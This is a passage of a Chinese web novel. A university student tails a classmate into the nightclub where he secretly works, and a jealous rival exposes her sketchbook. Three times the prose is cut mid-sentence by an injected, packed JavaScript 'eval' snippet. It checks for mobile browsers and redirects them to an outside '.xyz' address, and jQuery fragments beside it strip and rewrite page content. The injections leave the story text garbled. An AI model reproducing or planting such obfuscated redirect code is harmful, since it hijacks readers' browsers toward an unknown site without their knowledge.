骆绎声的身体状态和生活状态,看着都普通又正常,没有任何重大变化,也没有值得留意的地方。
调查停滞了。
*** ***
就在李明眸为了骆绎声的状况暗中忧心又好奇时,她的助教工作忙了起来,因为期中考到了。
《人工智能开发史》考试结束后,她突然变得受欢迎起来:有几个在挂科边缘的学生找她吃饭,想让她帮着把考试成绩“提升”一下,好不用补考。
她不知道该如何应对这种情况,谨慎思考后,向每一个找上来的学生承诺:她愿意帮他们补习,提升他们补考通过的几率。
找她说情的学生顿时作鸟兽散。
这天,李明眸整理好各个学生的成绩,拿着他们的考卷和成绩单到办公室找宋教授的时候,发现宋教授又跑到沈思过的办公室了。
沈思过办公室的空调是他自己置办的,比学校的空调凉些。宋教授的办公室跟他紧挨着,夏天的时候,宋教授经常跑沈思过那里吹空调,一来二去的,两人就熟悉起来了。
李明眸照例在沈思过办公室找到正蹭咖啡的宋教授,放下期末考卷和成绩单,便想转身离开——她始终不太适应跟沈思过待在一块。
可宋教授放下咖啡就逮住了她,兴奋地问:“你是不是做过泰坦尼克号电控系统仿真项目?小唐告诉我的,说你还发过ACM论文!”
没等李明眸回答,宋教授就滔滔不绝说了起来。
她顶着沈思过令人不适的目光听了一会,捋清了来龙去脉:
原来弗雷娜修复号的全船数字化工程——从激光点云建模到AI腐蚀评估系统——竟全是宋教授团队的手笔。
之前在弗雷娜号开放日上,说认识她的那个工作人员,正是宋教授带的首席博士生。
“现在卡在电力控制系统逆向工程了,”宋教授抽出平板,划开一组三维电路图,“小唐的团队啃了两个月,连主配电板信号流都没还原完,然后小唐就跟我说起你……”
他抬头盯住李明眸,语气兴奋:“你发的那篇论文,刚好对应这个课题!”
说到这里时,沈思过的目光骤然聚焦在李明眸脸上。
李明眸脊椎窜过一丝寒意——那种熟悉的、被猎人锁定的感觉又来了。过去一个多月,每次她来交助教材料,只要碰到沈思过,就会感受到一股若有若无的,正在被人暗中评估的感觉。
所以她才不愿意跟沈思过共处一室:她总觉得他下一刻就会脱下人皮,露出什么可怕的异象来。
被沈思过盯住的时候,她有一种直觉,他下一刻就会问出来:宋教授似乎很需要你,你想加入他弗雷娜修复号的团队吗?
就在她这么想了之后,沈思过看着她,说了一个字:“你……”
这句话没有说完,就只说了开头这么一个字,就被门口的敲门声打断了。
三人回过头去,看到站在门口的骆绎声。
骆绎声看着门内三人,笑了一下:“聊什么呢?没打扰到你们吧?”
沈思过的表情柔和下来:“没有。”
骆绎声走过来,在沈思过桌面上放下一串钥匙,交代道:“下次别忘记带啦。”
然后他转过头来,仿佛现在才发现李明眸:“你也在啊?刚好我想约你吃饭,可以吗?”
李明眸茫然地“啊”了一声:她没想到骆绎声会约自己吃饭,他从来没有表现过这个意愿。
但她还是从善如流地回答:“可以。”
宋教授有些着急:“那我们刚刚聊的电力控制系统……”
骆绎声笑着打断他:“宋老师,你助教的下班时间到了。”
宋教授撇撇嘴:“分明是你们想约会。”
简单交代几句后,在沈思过意味深长的注视中,李明眸跟在骆绎声身后离开了。
她不想留下来。
她觉得留下来的话,沈思过一定会想办法说服她答应些什么。
*** ***
李明眸就这么在骆绎声身后跟了一路,七
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396240|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拐八弯的,两人竟然真的在学校门口的一间餐馆坐下了。
直到坐下来的时候,李明眸还不太有真实感:她刚刚就是想找个借口离开办公室,没想过骆绎声是真的想约她吃饭。
因为今天是周二,现在已经是5:30,再过30分钟,骆绎声就要离开了——今天是他的兼职日。
但骆绎声的表情看着很从容,他正慢悠悠地看着餐单,问李明眸想吃什么,一点都不像赶时间的样子。
李明眸随口点了他讲的第一件食物,随后开门见山问他:“你为什么约我吃饭?”
骆绎声很认真地看着她:“你能不能给我加点分?”
“……啊?”
“《人工智能开发史》的考试,你能不能给我加分?”
李明眸茫然起来:“但你考试过了啊?”确实有几个学生想找她加分,但这些人考试都没过。
“我知道。但我需要更高分,我想申请明年的陈凯云奖学金。”
李明眸更加茫然了:“你认真的吗?”
“当然。我很需要钱,那个奖学金有3万呢。”
骆绎声的表情非常认真,并且无比镇定,仿佛他一点都不为走后门感到羞愧。
李明眸本来不太相信他这个说辞,但看他这个表情,又想到他在夜店做那种兼职,可能真的想要钱,便将信将疑起来。
“可是你的分数是94啊?只比第一名低一分,没有提升空间了。”她语气有些微妙,“再说了,走后门是不对的。”
骆绎声没理她后面那句话,表情仍然很镇定:“哦,这个分数比我想象的高呢。”
李明眸皱着眉头看他。
他把菜单合上:“那就算了吧。不聊这个了,我们吃饭。”
他径自说完这句话,然后就拿起记下的菜式,走去点菜台点菜了。
在他离开的时候,他的手机亮了一下,弹出一条消息横框。
李明眸不动声色地看了一眼。
骆绎声回来的时候,说他点了三个菜,本来想点五个,但是怕李明眸一个人吃不完——他说他待会有事情,这菜他点了,让李明眸一个人吃,他已经付过账了。
他表现得仿佛一个走后门失败后,变得兴趣缺缺,连饭都不想再吃的人。
但李明眸知道他真正急着走的原因:现在是5:50了,他必须赶上6点钟的438号,否则他的兼职会迟到。
李明眸平静地同意了骆绎声的请求,说她会自己吃完这餐饭。
可是在骆绎声离开后没多久,她也放下了筷子,然后偷偷跟在他身后离开了。
她刚刚看到了他手机跳出来的那条消息。
有人发消息问他:【你说觉得最近有人盯着你?你到店里来,我给你找找。】
*** ***
李明眸一路尾随骆绎声,最后遥遥躲在街角,看着骆绎声如常踏上6点钟的438,去向了红灯区的路上。
她看着他消失的背影,在心里默默问道:
你是发现沈思过盯你了吗?
你刚刚把我从办公室叫走的理由是什么,你是真的想加分吗?
她决定今晚跟着骆绎声进店里面看看。
那条信息的后半句说:【你到店里来,我给你找找。】
她之前一直都只跟踪骆绎声到夜店门口,但今天晚上,她决定到里面看看。
28. 双面人
虽然决定了要到这间叫“岩浆”的夜店里面看看,但真的到了门口时,李明眸怯场了。
现在是晚上的7:20,骆绎声已经进去30分钟,李明眸也已经在门口蹲了40分钟。
她准备给自己做一下心理准备,但做了40分钟,还是不敢进去。
里面应该不会有奇装异服的人吧?
有打扮时髦的人推推攘攘经过她身边,说:“在里面花钱能摸,在外面就不行是吧,那咱们进去!”
她躲在一个立式招牌后面,看着二人打打闹闹进去店里,呆若木鸡。
她连清吧都没去过,更别说这种场合了。
骆绎声在里面,到底是提供什么服务的?
她蹲在招牌后面,临时抱佛脚地查了一些资料,“夜店消费水平”“夜店群体分析”“夜店环境介绍”“特殊服务”等等,企图装得老练一些,像个经常逛夜店的人。
可是等她查完资料,做好充分的心理准备后,才刚踏足“岩浆”大门,她就遇到了第一道坎——她被保安拦住了。
保安戴着大金链子,土凶土凶地说:“你是最近老躲对面墙角那个小孩吧,鬼鬼祟祟的,成年了吗?身份证拿来看看。”
李明眸:!!!
她跟踪骆绎声的时候,确实经常躲在对面墙角……保安怎么发现的,发现多久了?
她有点慌,从兜里摸到个证件就胡乱递上。
递出之后,她才发现那是个学生证,于是又急急忙忙收回去,换成身份证。
保安已经看到那张学生证了,没好气地说:“海大学生,冲着Ken来的?”他挥挥手,“去去,回学校去。”
李明眸渐渐镇定下来,找到了保安话里的漏洞:躲在对面墙角又不犯法,凭什么赶她走?而且Ken又是谁?
她努力镇定,使自己听上去义正言辞:“我之前没来过酒吧,所以才先观察了一阵子。而且我是一个成年人,你不能侵害我的消费权益!”
保安说不过她,又嫌她烦,只好把她放了进去:“又来一个海大的,糟蹋学历。玩完就回去,别学Ken!”
Ken是指骆绎声?李明眸想打探一下消息,但是被后面的顾客推嚷着,挤进了“岩浆”。
才刚踏进大门,李明眸就有点退缩了。
场内的音响震耳欲聋,连地板都在晃动。霓虹灯晃得她闭上眼睛,等她再次睁眼后,看到无数的男男女女在她面前贴身热舞。
这可跟她在弗雷娜号参加的变装晚会不一样,这些人是真的身体碰着身体,还有人搂在一块接吻。
李明眸才刚踏入舞池,就被一个大叔抛了个媚眼,对方穿着粉红色衣服,还垫着一个垫子,使屁股看起来更翘。
她查过资料,觉得这应该是提供特殊服务的人,于是礼貌地拒绝了对方一起喝酒的邀请。
她胆战心惊地穿过舞池,往人少的卡座区走,但是走到一半的时候,被几个跳舞的人挤得踉跄了几下。幸好一个经过的卷发服务生扶住了她。
这个卷发服务生穿着酒吧的侍应制服,看上去有几分帅气。他把李明眸护送到卡座区,不让其他人挤到她。
期间有一个女客人跑过来拉卷发服务生的手,他镇定地对那个女客人笑:“宝贝,我在服务别的客人呢。”
这种亲切的服务态度,让李明眸心里毛毛的:难道这个才是提供特殊服务的人?
卷发服务生把她带到了卡座区的最角落,她很满意这个位置。
这里虽然也吵,但好在没什么人,除了斜前方坐着的一个大姐姐。这大姐姐长得好看,却挺冷艳的,好几个男的上来跟她搭讪,她一个都没有搭理。
大姐姐正在抽烟,淡淡的烟味飘到了李明眸的鼻子里,她没敢吭声。她拘谨地坐在那里,双手规矩地搭在脚上。
卷发服务生还没离开,看到李明眸拘束的样子,主动询问:“第一次来吗,要不要叫点喝的?”
她把手放到桌子上,小声问:“有吃的吗?”
骆绎声给她点的菜,她一个都没吃,现在确实有点饿了。
“你想吃什么?”
她犹豫了一下:“蛋炒饭?”
“夜店没有这些食物呢。”卷发服务生笑了起来,打开菜单,让她看里面的内容。
最后她叫了一块黑森林蛋糕,和一杯霜冻玛格丽特。她觉得“霜冻玛格丽特”这个名字很好听。
卷发服务生提醒:“这个酒的基底是龙舌兰,酒精度有点高。”
她想了一下,用一种严谨的语气说:“如果感觉要醉了,我会停止的。”她第一次来酒吧,也想像个正式的成年人一样喝点酒。
卷发服务生没有坚持,他让李明眸在这里等等,然后往吧台走去了。
完成了消费后,李明眸松了口气。她已经开始习惯这里震耳欲聋的音响和七彩霓虹的光线了。
她紧张的情绪渐渐缓和,眼睛在场内巡视,开始寻找骆绎声的身影。
骆绎声很好找,顺着大家的视线中心,往人最多的地方看,很容易就能找到他。
李明眸很快就在吧台边缘找到了他,但是看到他之后,她几乎不敢确认那个人是骆绎声。
如果不是那一如既往的裸.体异象,她可能会以为那是别人,比如说骆绎声失散在外的双胞胎弟弟之类的。
李明眸见过骆绎声在弗雷娜号、学校和家里的样子。那个骆绎声脸上总是带着微笑,海大的女生还专门在论坛建了一栋他的微笑楼。
她们说那是全世界最好看的笑容,温暖而治愈,可以让人联想到一切美好的东西。
但也有一些喜好比较特别的女生,她们认为他笑得太暖了,过分温柔,缺乏刺激。
如果后面这些女生能看到骆绎声现在的笑容,也许会改变想法。
眼前的骆绎声也在笑,但那种笑容散发出来的气质很不同。在弗雷娜号和学校,他好几次对李明眸笑,那是一种温柔的、具有安抚性质的笑容;现在他笑得漫不经心,好像他不在乎任何人,也没有义务安抚谁。
如此不同的笑容,如果让学校的人看到,大概会很惊讶吧。
但李明眸看了一会之后,竟慢慢习惯了,甚至产生了一种“这个人好像就应该是这样的”的感觉。
仿佛他从前身上罩着一层影影绰绰的纱幔,现在那层纱幔被揭开了,眼前的人突然变得清晰起来。
骆绎声并未留意到有人在暗处观察他,他手里拿着一个托盘,从吧台步入舞池,往舞池的另一边走去。
他穿过舞池的时候,身边的男男女女都往他身上看。甚至有女孩子抛下了自己的男伴,明目张胆地往他怀里蹭。
在海大,没有女孩敢这么往骆绎声身上蹭。因为他虽然绅士,给人的距离感却很强烈。毕竟这是系花狂轰滥炸半年也追不上的人,远观就算了,没必要花心思靠近,反正也不会成功。
但是在这间小小的夜店里,他懒洋洋地在舞池中央穿梭,只要有女孩子往他身上蹭,他都来者不拒。像一块光滑的岩石,任由艳丽的蔓藤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396241|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缠绕在自己身上,他既不困扰,也不回应。
对李明眸来说,她看到的场景,比别人还要更刺激一些:
这个终于揭下纱幔的人,他光裸着身体走入舞池,就像走进了酒池肉林。一个个女孩往他身上缠绕攀爬,随着他的前进,又一个个地褪去。
她看着骆绎声的笑容,下意识拿出手机,想拍下这一幕——这个场景在海大可看不到。
明明她已经关掉了闪光灯和快门声,可骆绎声还是往她的方向走来,好像发现了什么。
她吓得抖了一下,手机差点掉在地上。但她吸取了上次的教训,没有起身跑掉。她死死捂住自己的屏幕,把帽子拉到最低,遮住自己的大半张脸。
骆绎声越走越近,走到李明眸面前后,他没有停下脚步——他往斜后方的卡座去了。
原来他是去找斜后方卡座的那个大姐姐的。
他根本就没发现李明眸。
李明眸松了口气后,先前因为紧张而深埋的疑问,像黑暗中骤然点亮的探照灯,一盏一盏地亮了起来:
他到底在里面干什么呢?是想要钱离开家里吗?
他怀疑有人盯着他,是知道了监控的存在吗,他知道多少?
在李明眸的注视下,骆绎声走到了那个大姐姐面前。
李明眸对斜后方的这个姐姐印象深刻,她才在这里坐了十五分钟,这个姐姐拒绝过的男人,就已经有三个了。平均五分钟一个。
尽管这么难接近,却还是有更多的男人前赴后继,企图折下这朵高岭之花。
然而这朵高岭之花,竟然是专门为骆绎声来的。
李明眸把餐单竖起来遮住脸,往斜后方探出身体,偷听他们说话。
“我为你来了三次了,能不能加个微信?”说这话的是那个大姐姐。
骆绎声背对着李明眸,李明眸看不到他的表情。但她留意到,他说话语气跟平时不一样,腔调里有种懒洋洋的笑意:“可以,我的微信加一次一千块。”
李明眸:?!!
在学校不是100加一次吗?怎么还涨价了?1000是可以包通过?
她震撼地回过头,看到大姐姐打开自己的包包,从里面拿出一沓粉红色的钱,塞在骆绎声的胸前。
大姐姐给了钱,继续问:“加上微信后呢,你会回我信息吗?”
骆绎声弯下腰,贴着她的耳朵,用一种气音说:“说不定呢,如果是有偿陪聊的话,我可能会积极一些。”那些从鼻腔里发出的懒洋洋的音节,像一把小刷子,软软地搔在听的人心尖上。
李明眸摸着自己发红的耳朵,目瞪口呆:原来骆绎声是这样说话的人吗?跟学校里也差太远了。
感觉像什么脏脏奶茶,或者脏脏包,脏脏的。
大姐姐又从包包里掏出了一沓钱,她把钱塞进骆绎声的裤兜里,然后她的手放在裤兜里不拿出来了!
骆绎声竟然也没有拉出她的手!
大姐姐压低声音,笑着问他:“那接吻呢,跟你接一次吻多少钱?”
说完,姐姐的另一只手还摸了摸他的嘴唇。
李明眸觉得自己的血量渐渐清空:他、他果然有提供不正经服务吧?
难不成他跟她说的,想加分拿奖学金的事情,竟然是真的?
他看着确实很需要钱……
但这种赚钱途径是犯法的吧?是不是应该向有关组织举报他,以免他误入歧途?
这么想完之后,一个想法自己飘了出来:所以接吻贵吗?
29. 风水轮流转
李明眸最终还是没能听到骆绎声的接吻价位,也没看到他跟这个漂亮的大姐姐亲在一起。因为他被一个突然出现的女生拉了起来。
当时大姐姐和骆绎声离得极近,两人随时会接吻的样子。这时一个蓝色头发的女生冲了出来,她狠狠拉住骆绎声的手,一把将他拽了过去,让他离那个大姐姐远远的。
虽然场内灯光不太好,但李明眸还是认出来了:是那个送手织围巾的蓝色头发的女生,买999朵玫瑰告白的白富美——周雪怡。
周雪怡把骆绎声挡在身后,冷冷地看着这个大姐姐:“接吻不是你能付得起的价位。”说完这句,她拉住骆绎声的领子,把他拽了下来,往他嘴上亲了一下。
蜻蜓点水的一下,骆绎声没有反抗,任由她亲在自己嘴唇上。
李明眸被这个画面刺激到了:周雪怡在干什么?她知道骆绎声的这个工作?她知道摄像头吗?他们是男女朋友吗?
大姐姐作为当事人,倒比李明眸这个旁观者还要镇定。
她耸了耸肩,轻描淡写地对骆绎声说:“看来你今天会有点忙。”她站了起来,学着骆绎声,贴到他的耳朵边,用一种气音说:“我下次再来找你。”
说完这句,大姐姐就走了。从头到尾,她都没往周雪怡身上看过一眼,是一种彻底无视的态度。
李明眸看得目瞪口呆:真酷啊……
大姐姐走远之后,周雪怡掏出一张银行卡,放在骆绎声的托盘上,有点傲慢地说:“刚刚的接吻费。”
骆绎声的脸色冷淡下来,他拿起那张银行卡,重新把它塞回周雪怡的兜里,用一种冷漠的语气说:“刚刚只是顾及你脸面。下次别做了,我不喜欢。”
周雪怡的神色比他更冷:“刚刚我不拉开的话,你会让她吻你吧?既然这里的女人都可以,凭什么我不可以?”
骆绎声没什么表情地说:“你知道吕小路喜欢你吧。”
吕小路就是那个蓝色头发的男生。
听到这个理由,周雪怡仿佛松了一口气:“他只是我佣人的儿子,不会影响我们。”
“‘佣人的儿子’,这个称呼我也不喜欢。你最好改改。”
“我可是周洲的女儿,做我的佣人又不丢脸。他喜欢着呢!”
骆绎声瞥了周雪怡一眼,没再跟她搭话,直接走了。
周雪怡站在原地,声音气得发抖:“你敢不理我!?”
骆绎声头也没回。
李明眸愣愣看着骆绎声走远的背影:原来这个人私下里是这样的呢。
俄罗斯套娃问题,又多了几个套娃。
周雪怡看着骆绎声的背影消失,身上的异象越来越严重。她的双.腿间缓缓流下粘稠的、黑色的水。黑色的虫子浸泡在那些黑水里面,从她的双.腿间爬下,落到地上,在周雪怡附近爬得满地都是。
一只黑虫爬到李明眸脚下,竟然发出了人的嘶鸣:“明明错的、是吕小路,是、你们……”
李明眸没想到这些虫子会说话,吓得整个身体后仰,缩回了自己的脚。
她的动作很大,不小心把自己的背包碰倒在地上,放在里面的东西落了一地,包括她随身携带的异象画册。
她急着躲避地上的虫子,没注意到地上的背包,也没发现一片阴影投在了头顶上——周雪怡已经转过身来,正一脸阴沉地看着她。
冷冷的声音从头顶响起:“你在这看多久了?”
李明眸颤了一下,抬起头,终于发现了站在她身前的周雪怡。
“刚刚的你都看到了?”
李明眸沉默了一会,才抿着嘴唇,故作镇定地反问:“我该看到什么?”
周雪怡突然开始歇斯底里:“装什么,你跟着骆绎声来的吧!你们这些乡下来的穷人,天天围着他打转,就那么没有自知之明吗!”
乡下来的穷人?这台词听着像八点档的电视剧。
李明眸莫名其妙地看着她,硬着头皮解释:“我是自己来消费的,没看到骆绎声。”
周雪怡冷冷地看着她,那表情,好像李明眸有义务对她解释什么似的。
就在这时候,那个卷发服务生回来了。
他带着一杯霜冻玛格丽特回到了李明眸身边:“您点的酒,蛋糕晚点来。”
李明眸看了看审视着自己的周雪怡,又看了看旁边的卷发服务生,突然福至心灵。
她接过那杯酒之后,回忆刚刚离开的大姐姐,试探性地碰了一下卷发服务生的手背,学着那个大姐姐的语气,对周雪怡说:“我真的是来消费的。”
说完这句话,她故作熟练地往兜里摸,想付点摸小手的小费。但摸到自己空荡荡的裤兜之后,她才想起来——今天没有带钱包。
她有些心虚地缓缓抽回手,然后捏着自己的手机,小声问卷发服务生:“我没有带现金,给你微信转账可以吗?”
周雪怡抱胸站在一边,冷笑一声。
被摸了手的卷发服务生脸上有点好笑,又有点惊讶,像是没想过李明眸敢摸他。
听到李明眸说要给他转账,他笑着说:“如果对象是你这么可爱的女生,我可以免费的。”话是这么说,但他还是掏出了手机,点开自己的微信界面:“不过你要让我加你好友哦。”
李明眸看着那个添加好友的二维码,骑虎难下——她没打算在这里交朋友,也不想跟这里的任何人互换微信。
就在李明眸对着卷发服务生踌躇的时候,周雪怡发现了她散落在地上的杂物,和杂物堆中的异象画册。
画册刚好摊开在《沙耶》的那一页,那是骆绎声的裸体肖像。
等李明眸发现不对劲的时候,周雪怡已经把异象画册捡了起来。
李明眸心中悚然一惊:“还给我!”
周雪怡高高举着它,不让李明眸碰到,嘲笑道:“还装,你都把你幻想画出来了,还说不是冲着阿声来的!”
她明显没有把异象画册当一回事,只把这当成李明眸的想象,但李明眸还是很焦急——再往下翻两页,就是周雪怡的异象画了。她怕她翻到。
恰好这时有保安在场内巡逻,周雪怡一边举高画册,一边朝保安招手,让对方过来。
那个保安戴着大金链子,就是在门口拦过李明眸的那个。李明眸心里有些忐忑。
等保安走到跟前后,周雪怡充满恶意地看着李明眸,说道:“你不是说自己没跟着骆绎声吗?那我们去监控室,看看你刚刚都做了什么。”
这简直是无理取闹。李明眸生气道:“是你抢我东西!画册还我!”
保安看了看李明眸,又看了看周雪怡,最后对着周雪怡说道:“这位小姐确实周二跟周四都会来看Ken,请问她是做了什么吗?”
听到“周二和周四都会来看Ken”后,周雪怡对李明眸露出一个笑容,笑容中盈满恶意:“盯他的人,就是你对吧?”
盯他的人?
李明眸想起在餐馆里看到的骆绎声的那条信息:【你说觉得最近有人盯着你?你到店里来,我给你找找。】
她有些震撼:难道骆绎声发现的“盯他的人”,不是发现的沈思过,而是发现的她?
没等她搞明白,周雪怡就抓起她的手,用力地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396242|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往外面拉。
她的手腕剧痛,根本挣脱不开,也不知道周雪怡要把她拉去哪里。
就在李明眸挣扎时,骆绎声的声音在她们后方响起:“你们在做什么?”刚刚卷发服务生去把他叫过来了。
周雪怡回过头,看到拿着托盘的骆绎声,眼睛一下就亮了。
她把拽在手上的画册递给骆绎声,那本画册还打开着,一直定格在《沙耶》的那页。
她指着李明眸,用一种告状的语气说:“她画的!她还跟踪你,每周二和周四!”
李明眸看着画中赤身裸.体的骆绎声,一下就僵住了,不敢抬头看骆绎声的表情。
骆绎声看着那张《沙耶》,沉默了很久。他沉默得越久,李明眸就越尴尬和害怕。
几人僵持住了。
旁观的保安头痛地看着这场闹剧,最后看着李明眸:“小姐,你先跟我来一下。”说完就要去拉李明眸的手,但在半空中被截住了——是骆绎声。
骆绎声拦下保安后,先接过周雪怡手中的异象画册,然后把李明眸领到自己身边,才对保安解释:“抱歉球叔,她不是奇怪的人,是我的朋友。不会给你添麻烦的。”
他语气温柔,也维护了李明眸,但李明眸莫名觉得他在生气。他抓住她的手很用力,还刚好抓在周雪怡捏过的地方,她疼得厉害,但不敢吭声。
周雪怡不可置信地看着骆绎声:“你是在帮她说话?不教训一下她,你会被缠上的!”
李明眸很不开心,忍不住抢话:“明明是你缠人。骆绎声不理你,你才拿我出气。而且他要不要教训我,关你什么事?”
她的语气因为害怕而微微颤抖,但还是坚持说完了这番话。
听到她竟敢还嘴,周雪怡瞪着她,眼睛似要喷出火来。
她有点吓到,又不想示弱,于是缓缓挪步,悄悄躲到骆绎声身后,也弱弱地瞪了周雪怡一下。
骆绎声回过头去,看着躲在自己身后的李明眸。他也不说话,他就是那么一声不吭地看着她。
李明眸看到他手上拿着的《沙耶》,把头低下,一副犯了错的样子,但还是不肯从他身后挪出来。
看到她心虚后,骆绎声才说:“你先去卡座那边等我,我待会来。”
李明眸看着他手中的异象画册,站着一动不动。
骆绎声盯着她。
她小声提出诉求:“那本画册是我的,你能还给我吗?”
骆绎声面无表情:“我确认一下我的画,你先去卡座,你坐下我就还你。”
李明眸又等了几秒,发现保安在不远处盯着她。她不想引起争执,这才不甘心地往卡座方向走。
走了没两步,骆绎声叫住她。
她惊喜地回头,期待地看着骆绎声手中的异象画册。
但骆绎声没打算把画册还她。他的手落到她右手上,想把她握在手上的“霜冻玛格丽特”拿走。
她握紧那杯酒,有些疑惑地问:“我付了钱的?”
骆绎声冷淡地说:“酒精度太高。”
李明眸不太情愿:“我是一个成年女性,喝酒是合法权益。”她小声地补充了一句:“你还在这里上班呢。”
骆绎声没有表情的脸上缓缓露出一个微笑:“你当然可以喝酒,但是这个不好喝,我给你带个好喝的。”
他笑得有点渗人,李明眸有点害怕地放开手,灰溜溜地离开。
在走远之前,她隐约听到周雪怡在奚落她:“她是故意喝那个,等着被捡尸吧,喝多了就能赖着你了。”
李明眸想回头骂她,又不太敢。
30. 质问
李明眸记挂着异象画册,在卡座焦虑地坐了半小时。她一开始还能看到骆绎声在吧台跟周雪怡说话,两个人好像是在吵架,后来骆绎声就不见了,不知道去了哪里。
李明眸的酒被没收了,黑森林蛋糕也没拿到,越等越饿。
她心里很憋屈无语:难道骆绎声发现的那个盯他的人,还真的是她啊?
而且她为什么要在这乖乖等着?好气!如果不是要拿回异象画册,她现在就要回家吃饭了!
就在她饿到发昏的时候,骆绎声终于出现了。
他拿着一个托盘来到李明眸的卡座,托盘上有一个银盅,不知道里面盖着什么,远远地香味就飘过来了。
李明眸看着那个银盅,肚子突然就“咕噜咕噜”地响了起来。
骆绎声看着她,她尴尬地找了个话题:“周雪怡还好么?”
这个话题好像让气氛变得更尴尬了。骆绎声没有理解她缓解气氛的苦衷,一个字都没回答她。
他坐到她对面,先把银盅放在一边,开门见山地说:“解释一下那些画。”
李明眸一下坐直了,她双脚在桌面下立正,把刚刚独自待着时编的瞎话说了出来:
“我、我的爱好是画人体素描,偶尔看到激发我想象的人,我就把我的想象画下来……我没给别人看过。”
说完这通瞎话,她弱弱地问:“说好还我的画册呢?”
骆绎声没回后面这句话。他把玩着手中的打火机,语气漫不经心:“哦?原来在你想象中,我是裸.体的啊。”
李明眸顾不上问画册了,她涨红着脸,眼睛从骆绎声脸上移开,看向右上方,声如蚊蚋:
“你、你比较好看,所以就想象了一下……对不起。”
骆绎声笑了一下:“你想象力很好嘛,光是想象一下,就能知道我的痣长哪里。”
其实用不着想象,她现在就能看到那颗痣。
李明眸看着他胸口上随着心脏起伏的痣,疯狂转动自己的脑筋。
突然间,她灵机一动,回想起海大论坛上女生们说期待跟他上游泳课的事情:“游泳课!我看过你上游泳课!”
骆绎声身体往后靠,倚在卡座的背靠上,就那么看着她,很久都不说话。
李明眸咽了一口口水。
良久后,骆绎声换了个话题:“你怎么知道我在这上班的?”
李明眸老实道:“我每天坐438回家,偶尔看到你乔装打扮,感到好奇,就跟上来了。”这个倒是事实。
“你怎么认出我的?我穿得很多。”
因为无论你怎么穿,对我来说都是原汁原味的……李明眸又看了一会他胸口的痣,然后移开了目光。
她的眼神在空中漂浮,继续瞎编:“因为我想象了很多,所以对你的信息比较敏感……”
骆绎声歪着头,长长地“哦”了一声,一副不怎么相信的样子。
李明眸硬着头皮,想要说服他相信:“就是你的身体,还有体型什么的,比较特别,我平时就比较注意……”
骆绎声眯着眼睛:“那你是真的很关注我啊。”
他的双手放到桌上,缓缓朝对面的李明眸探身。他跨过桌面,凑到她耳旁轻声说:“明明每周都一起上课,想跟我聊天,随时可以找我啊。”
他的声音越来越低:“要是你找我,我都会回你的。哪用得着偷偷摸摸的呢。”
这个距离太近了,李明眸一眼就可以从他锁骨看到腹肌。他呼出的气息轻轻地扫在她耳朵上,说话的语气也暧昧不清。
这不是学校里的骆绎声。李明眸想起刚刚他对那个大姐姐的营业态度,好像也差不多。他似乎很习惯这么诱骗别人。
她觉得自己的耳朵麻麻的,血液流速好像都变快了。
但幸好一起上课的几次经验,让她稍微习惯了一下骆绎声的裸.体,不然她怕自己会跟第一次跳舞一样,做出丢脸的事情。
她悄悄后退一点,跟骆绎声保持安全距离。
退远一点后,骆绎声身上染着的汗味、烟味、还有隐隐烘上来的肌肤温度,终于都渐渐远离了她。
她脸上的热度下去一点后,理智也开始回笼。
她感觉自己遭不住他继续问下去:她编瞎话的才能已经用尽,再编不出更多的了。
于是她把后背贴在椅背上,率先道歉,尝试终结这个话题:
“总之,我画了你,还跟……跟着你,这是我不对,我不会再那么做了。你想怎么解决这件事情,都可以。”
看到她退缩的样子,骆绎声没有像在跳舞时一样,体贴地给对方留下空间,反而重新往前挪了挪。
他靠上来后,萦绕在她周围的空气,也渐渐开始回温。
看到她再次僵住的样子,骆绎声终于停住了。
他缓缓后撤,回到自己的位置,表情也恢复正常。
“不想聊了?也可以。”
李明眸想说自己没有不想聊,又怕他真的继续问下去,于是拘谨地坐在座位上,沉默不语。
骆绎声慢悠悠地说:“反正我们每周都会见面,你想什么时候聊,我们就可以什么时候聊。”
李明眸垂死挣扎:“不用了吧……我看你很忙,也不用特意跟我聊天的。而且跟你聊天不是要付费吗……”她提起他刚刚跟那个大姐姐的交易,“我也没有钱……”
骆绎声缓缓笑了一下:“我们谁跟谁啊,我算你免费。”
他明明笑了,但李明眸莫名有一种自己的头会被拧下来的感觉。
她不敢再说什么,低头沉默了。
骆绎声见她不再顶嘴后,提出几个要求,总结这次聊天:“总之,以后你不能跟踪我,也不能把你在这里看到的说出去。”
李明眸臊眉耷眼地:“好。”
她还挺想问他,他发现的那个盯着他的人到底是怎么回事,但不敢开口。
